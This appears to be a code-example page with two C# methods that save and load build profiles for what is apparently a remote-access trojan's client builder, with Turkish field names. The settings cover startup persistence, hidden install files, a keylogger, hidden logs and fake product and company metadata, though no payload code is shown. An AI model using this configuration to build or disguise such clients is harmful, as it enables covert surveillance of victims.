Ejemplo n.º 1
0
        private void SaveProfile(string profilename)
        {
            var profile = new KurulumProfili(profilename);

            profile.Etiket           = txtTag.Text;
            profile.Hostlar          = HostYardımcısı.GetRawHosts(_hosts);
            profile.Şifre            = txtPassword.Text;
            profile.Gecikme          = (int)numericUpDownDelay.Value;
            profile.Mutex            = txtMutex.Text;
            profile.ClientKurumu     = chkInstall.Checked;
            profile.Yüklemeİsmi      = txtInstallname.Text;
            profile.KurulumDizini    = GetInstallPath();
            profile.SubDirYükle      = txtInstallsub.Text;
            profile.DosyaSakla       = chkHide.Checked;
            profile.BaşlangıcaEkle   = chkStartup.Checked;
            profile.RegistryName     = txtRegistryKeyName.Text;
            profile.İkonDeğiştir     = chkChangeIcon.Checked;
            profile.IconPath         = txtIconPath.Text;
            profile.ChangeAsmInfo    = chkChangeAsmInfo.Checked;
            profile.Keylogger        = chkKeylogger.Checked;
            profile.LogDirectoryName = txtLogDirectoryName.Text;
            profile.HideLogDirectory = chkHideLogDirectory.Checked;
            profile.Ürünİsmi         = txtProductName.Text;
            profile.Açıklama         = txtDescription.Text;
            profile.Şirketİsmi       = txtCompanyName.Text;
            profile.TelifHakkı       = txtCopyright.Text;
            profile.Trademarks       = txtTrademarks.Text;
            profile.OriginalFilename = txtOriginalFilename.Text;
            profile.ÜrünVersiyonu    = txtProductVersion.Text;
            profile.DosyaVersiyonu   = txtFileVersion.Text;
        }
Ejemplo n.º 2
0
        private void LoadProfile(string profilename)
        {
            var profile = new KurulumProfili(profilename);

            foreach (var host in HostYardımcısı.GetHostsList(profile.Hostlar))
            {
                _hosts.Add(host);
            }
            Hostlar.DataSource = new BindingSource(_hosts, null);

            txtTag.Text              = profile.Etiket;
            txtPassword.Text         = profile.Şifre;
            numericUpDownDelay.Value = profile.Gecikme;
            txtMutex.Text            = profile.Mutex;
            chkInstall.Checked       = profile.ClientKurumu;
            txtInstallname.Text      = profile.Yüklemeİsmi;
            GetInstallPath(profile.KurulumDizini).Checked = true;
            txtInstallsub.Text          = profile.SubDirYükle;
            chkHide.Checked             = profile.DosyaSakla;
            chkStartup.Checked          = profile.BaşlangıcaEkle;
            txtRegistryKeyName.Text     = profile.RegistryName;
            chkChangeIcon.Checked       = profile.İkonDeğiştir;
            txtIconPath.Text            = profile.IconPath;
            chkChangeAsmInfo.Checked    = profile.ChangeAsmInfo;
            chkKeylogger.Checked        = profile.Keylogger;
            txtLogDirectoryName.Text    = profile.LogDirectoryName;
            chkHideLogDirectory.Checked = profile.HideLogDirectory;
            txtProductName.Text         = profile.Ürünİsmi;
            txtDescription.Text         = profile.Açıklama;
            txtCompanyName.Text         = profile.Şirketİsmi;
            txtCopyright.Text           = profile.TelifHakkı;
            txtTrademarks.Text          = profile.Trademarks;
            txtOriginalFilename.Text    = profile.OriginalFilename;
            txtProductVersion.Text      = profile.ÜrünVersiyonu;
            txtFileVersion.Text         = profile.DosyaVersiyonu;

            _profileLoaded = true;
        }